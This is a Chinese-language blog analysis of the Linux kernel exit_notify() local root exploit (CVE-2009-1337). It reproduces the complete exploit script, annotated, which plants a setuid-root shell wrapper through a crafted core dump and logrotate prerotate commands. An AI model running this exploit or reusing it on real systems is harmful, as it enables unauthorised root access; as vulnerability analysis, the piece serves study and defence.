author : deep_pro
目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的
(http://forum.eviloctal.com/viewthread.php?tid=34942&pid=154634&page=1&extra=page%3D1#pid154634)
感谢乱雪给我提供了思路,解释了疑问

有问题的内核代码( http://lxr.linux.no/linux+v2.6.29/kernel/exit.c#L951)

if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
     (tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
      tsk->self_exec_id != tsk->parent_exec_id) &&
    !capable(CAP_KILL))

tsk->exit_signal = SIGCHLD;

查看官方的补丁,就是把 capable(CAP_KILL)直接去掉了。

这个函数是判断当前要退出的进程是否有CAP_KILL权能(否能向不属于自己的进程发送信号)。
虽然这个要退出的进程是普通用户创建的,它也可以通过调用一个置有suidroot位的程序,从而临时设置euid=0,fsuid=0,就逃过了检查, capable(CAP_KILL)返回1,从而导致没有将该进程的task_struct的exit_signal置为SIGCHLD。

这个exploit的原理是使一个普通用户在/etc/logrotate.d/目录下生成一个特殊的core文件,然后等待 logrotate去读取这个不正常的core文件,执行里面的shell命令,给另一个程序/tmp/.m加上suidroot位。然后我们直接执行 /tmp/.m就可以得到一个root级的shell了。

exploit作者忽略了一点,就是当/proc/sys/kernel/core_uses_pid为1时,生成的core文件后缀是pid,所以测试exploit前应该首先使用root用户执行
echo "0" > /proc/sys/kernel/core_uses_pid
/sbin/sysctl -w fs.suid_dumpable=1 
这两条命令然后就可以在/etc/logrotate.d/下得到core文件了。

exploit注释
-------------------

#!/bin/sh
#检查/proc/sys/fs/suid_dumpable是否小于1,不小于1就不允许调用了setuid(0)的程序生成core文件
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
if [ -d /etc/logrotate.d ]; then
#检查是否安装有logrotate服务
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi

echo -e "Compiling the bash setuid() wrapper..."
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>

int main()
{
//setuid(0)用来恢复被置了suidroot位的程序的root权限,写shellcode时很常见的用法。
setuid(0);
//返回一个root级的shell
execl("/bin/bash","[kthreadd]",NULL);
}
EOF

#编译/tmp/.m.c
cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c

echo -e "Compiling the exploit code..."

cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int child(void *data)
{
sleep(2);
printf("I'm gonna kill the suidroot father without having root rights :D\n");
//gpasswd被置有suidroot位,这样退出时就逃过了capable(CAP_KILL)检查
execl("/usr/bin/gpasswd","%s",NULL);
exit(0);
}

int main()
{
int stacksize = 4*getpagesize();
void *stack, *stacktop;
stack = malloc(stacksize);
stacktop = stack + stacksize;
chdir("/etc/logrotate.d");
//创建子进程
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
//chfn也被置有suidroot位,但是后面那个长长的字符串不是给chfn的,而是给logrotate准备的
//后面我会详细说明,毕竟这两条语句才是关键
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
}
EOF

cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c

echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000
touch /tmp/.a
//将/tmp/.ex的输出重定向,测试的话直接写/tmp/.ex就可以了
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex
//是否生成了core文件
if [ -e /etc/logrotate.d/core ]; then
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi

echo "The system is not vulnerable, sorry :("----------------------------------------
好了,再把关键地方重点说说,如有错误,还请见谅,已是我目前的最高水平了
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
创建的子进程会逃过CAP_KILL检查,但是只靠这一点错误不足以产生一个段错误从而得到core文件

if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;
chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
chfn也被置有suidroot位,这里父进程也拥有了suidroot权限,等待用户输入密码,然后子进程不正常退出,
然后父进程就产生了一个段错误,两个进程都挂掉了。产生的core文件落在本来没有写权限的 /etc/logrotate.d/
文件夹下。我们来看看这个core文件:
很明显,那个传给chfn的奇怪参数其实是要写入core里的,随便打开/etc/logrotate.d/下的一个文件yum:
/var/log/yum.log {
missingok
notifempty
size 30k
create 0600 root root
}
这个奇怪参数就是为logrotate准备的,希望logrotate执行
chown root /tmp/.m;
chmod u+s /tmp/.m
且不说logrotate是否会从二进制core里执行这一段文本,就是SELinux也会阻止这一行为。

所以这个exploit几乎没有实战价值,这个洞虽然影响范围很广,但是危害不大。

我一直没有理解产生段错误的详细原因,还望高人指点。

[轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)的更多相关文章

  1. Linux kernel perf_swevent_init Local root Exploit

    64位上编译 另外修改了原Exploit的一个错误 第76行 把     uint64_t *p = (void *) ¤t[i]; 改成       uint64_t *p = (void *) & ...

  2. linux kernel 卡在提示信息Waiting for root device /dev/mmcblk0p1...处

    一.背景 1.1 移植linux-4.14内核的过程中,此时使用的是ext4文件系统,并且将根文件系统存储在sd卡的第一个分区上 1.2 内核打印完Waiting for root device /d ...

  3. Linux kernel workqueue机制分析

    Linux kernel workqueue机制分析 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.10.108的workqueue文档分析其基 ...

  4. Linux kernel workqueue机制分析【转】

    转自:http://www.linuxsir.org/linuxjcjs/15346.html 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.1 ...

  5. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  6. CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC

    /**  * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC  *  * Vitaly Nikolenko  * http://ha ...

  7. [轉]Exploit The Linux Kernel NULL Pointer Dereference

    Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...

  8. [轉]Exploit Linux Kernel Slub Overflow

    Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...

  9. Linux Kernel 排程機制介紹

    http://loda.hala01.com/2011/12/linux-kernel-%E6%8E%92%E7%A8%8B%E6%A9%9F%E5%88%B6%E4%BB%8B%E7%B4%B9/ ...

随机推荐

  1. spring cloud学习--eureka 02

    开启eureka client的注解@EnableDiscoveryClient的功能类DiscoveryClient梳理图 获取server url位于类EndpointUtils的getServi ...

  2. Python 学习笔记14 类 - 使用类和实例

    当我们熟悉和掌握了怎么样创建类和实例以后,我们编程中的大多数工作都讲关注在类的简历和实例对象使用,修改和维护上. 结合实例我们来进一步的学习类和实例的使用: 我们新建一个汽车的类: #-*- codi ...

  3. Java时区切换时的需要注意

    前言 Java中的时间操作,也许大家都很熟悉,Date.Calendar.SimpleDateFormat等.但或许我们都只是会调用常见接口方法.今天解决的bug,关于TimeZone,即时区. 经常 ...

  4. Nginx 常用基础模块

    目录 Nginx 常用基础模块 Nginx日志管理 nginx日志切割 Nginx目录索引 Nginx状态监控 Nginx访问控制 Nginx访问限制 Nginx 请求限制配置实战 Nginx Loc ...

  5. excel导出简单示例(jxl jar包)

    @param title excel文件名 @param excelTopName 表头中文名字(显示在第一行的中文表头内容) @param header 表头字段属性(根据该属性获取对应的属性值,表 ...

  6. JavaSE---多线程---概述

    1.概述 1.1 进程: 系统进行资源分配.调度的一个独立单元: 进程的特征: 1.1.1 独立性: 系统中独立存在的实体,拥有自己独立的资源: 每个进程都拥有自己私有的地址空间,在没有经过进程本身允 ...

  7. doT模板引擎

    doT模板引擎是一个比较高效的引擎,一直都在使用,只有3kb大小,简洁的语法,无任何依赖,简单易用:下面的代码直接拷贝引用就可以使用: 插件代码 (function(){function p(b,a, ...

  8. 用 GetEnvironmentVariable 获取常用系统环境变量

    以前曾用 GetWindowsDirectory.GetSystemDirectory.GetTempPath 等函数获取系统常用文件夹; 也用过 SHGetSpecialFolderLocation ...

  9. vue2 的 过渡(动画)效果

    1.在过渡 效果的使用中 ,key属性需要注意 : 有相同父元素的子元素必须有独特的 key.重复的 key 会造成渲染错误.       参考官方说明:  https://cn.vuejs.org/ ...

  10. zabbix历史数据全部清楚

    #这种方法会出现 监控项不可用的情况 1.停掉zabbix_server 2.重重名表 RENAME TABLE history to history_20180117; RENAME TABLE h ...